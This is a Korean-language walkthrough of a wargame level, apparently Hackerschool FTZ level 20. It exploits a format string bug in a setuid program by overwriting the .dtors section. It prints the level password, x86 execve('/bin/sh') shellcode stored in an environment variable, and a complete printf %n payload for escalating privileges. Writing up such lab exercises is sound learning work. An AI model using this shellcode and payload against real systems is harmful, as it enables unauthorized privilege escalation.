Level20 풀이.
pw = 'we are just regular guys'
드디어 마지막 20번이다.
일단 문제 접근을 위해 hint를 본다.
짧다....................................... 좋다.
일단 c언어 소스 코드가 존재한다.
한 줄씩 해석해보면 int argc, char **argv는 프로그램 실행과 동시에 사용자 입력 받는다. char bleh[80] 문자형 bleh 변수에 80byte 만큼의 크기를 할당. setreuid(3101, 3101) 다음 단계의 권한이다. fgets(bleh,79,stdin) fgets 함수로 bleh 변수에 79byte 만큼의 사용자 입력을 받는다. printf(bleh) bleh 변수에 저장된 값 출력된다.
fgets 함수로 문자열을 입력받고, bleh[80] 버퍼에 79바이트 만큼의 입력을 받는다. 버퍼 오버플로우 공격으로 인한 ret 값 변조를 할 수 없다는 것이다. printf 함수에서 %s를 사용하지 않고, 단순 배열을 매개 변수로 받았다. 이렇게 되면 FSB(format String Bug) 취약점이 발생하게 되며, 해당 문제도 이용해 해결하면 될 것 같다. GOT 값을 변조하기 위해 print 구문을 2번 호출해야 하는데, 한 번 호출하는 이 문제는 DTORS 주소를 이용해 문제를 풀어야 한다.
FSB = format String Bug 이라고 하고, Format string의 bug를 이용해 메모리를 변조하는 기술(구글링 참조).
cf) %d(정수형 10진수) %f(실수형) %c(문자 값) %s(문자열).
%x(양의 정수 16진수) %n(정수형 포인터).
FSB이 존재하는 해당 문제의 attackme 프로그램에 AAAA와 16진수를 출력하는 %x format string을 입력하게 되면, %x에 의해 메모리 저장된 값이 16진수로 출력되고 있다.
일단 dtors를 알아야 한다. (구글링 참조)
GNU 컴파일러로 컴파일 된 프로그램은 소멸자와 생성자의 테이블 섹션인 .dtors와 .ctors을 생성. 생성자 함수와 ctors 섹션은 main()이 실행되기 전에 호출되고, 소멸자 함수와 dtors 섹션은 main()이 exit 시스템 콜로 종료되기 직전에 호출된다. 그래서 main()의 ret 영역을 덮어 씌워서 실행흐름을 조작해도 되지만, ret 주소를 찾기 어려운 경우 dtors 영역을 이용해
실행 흐름을 변경하면 된다.그러면 .dtors 주소와 쉘 코드 환경 변수 등록과 주소 획득을 해야 한다. 일단 dtors 주소부터 획득.
attackme 테이블 출력하니까 중요한 정보가 null 되어서, hint 파일을 tmp/디렉토리로 복사해 컴파일 한 후 테이블을 확인했더니, .dtors가 끝날 때 호출되는 명령을 저장하는 주소인 __DTOR_END__ 주소 확인 가능. 즉 .DTORS 주소 = 08049598
다음은 쉘 코드 등록.(구글링 참조)
export shellcode=$(python –c ‘print \x90“*20 + ”\x31\xc0\x50\x68\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80“)
간단한 C코드 작성.
즉 shellcode 주소 = 0xbffffee6.
즉 4byte 공간 + dtor 앞주소 + 4byte 공간 + dtor 뒤주소 + %문자*3개 + %(쉘코드뒷주소만큼의 문자수)c + %n + %[쉘 코드 앞주소만큼의 문자수]c +%n
.DTORS 앞 주소 = 0x08049598 4byte 공간 ”\x90“*4
.DTORS 뒤 주소 = (DTOR 주소 + 2바이트) = 0x0804959a %문자*2개 = ”%8x“*2
쉘코드 뒤주소만큼의 문자수 = fee6(10진수 65254) - 지금까지 출력된 문자수(4+4+4+4+8*3=40) => 65254 – 40 = 65214.
쉘코드앞주소만큼의 문자수 = bfff(10진수 49151) - 지금까지 출력된 문자수(65254) = 1bfff(10진수 114687) - 지금까지 출력된 문자수(16진수 = fee6, 10진수로는 65254) = 49433.
즉 (python –c ‘print “\x90”*4+“\x98\x95\x04\x08”+“\x90”*4+“\x9a\x95\x04\x08” + “%8x”*3+“%65214c”+“%n”+“%49433c”+%n“’;cat)| ./attackme.
끝............
CF) 뭔가 남들한테는 어떤 느낌이였을지 모르겠지만, 어려웠다.
일단 BOF가 주요 테마였던 거 같고, 주기적으로 반복해야 될 거 같고, 관련 개념들도 되게 많았고, 알아야 할 게 너무 많은 거 같다....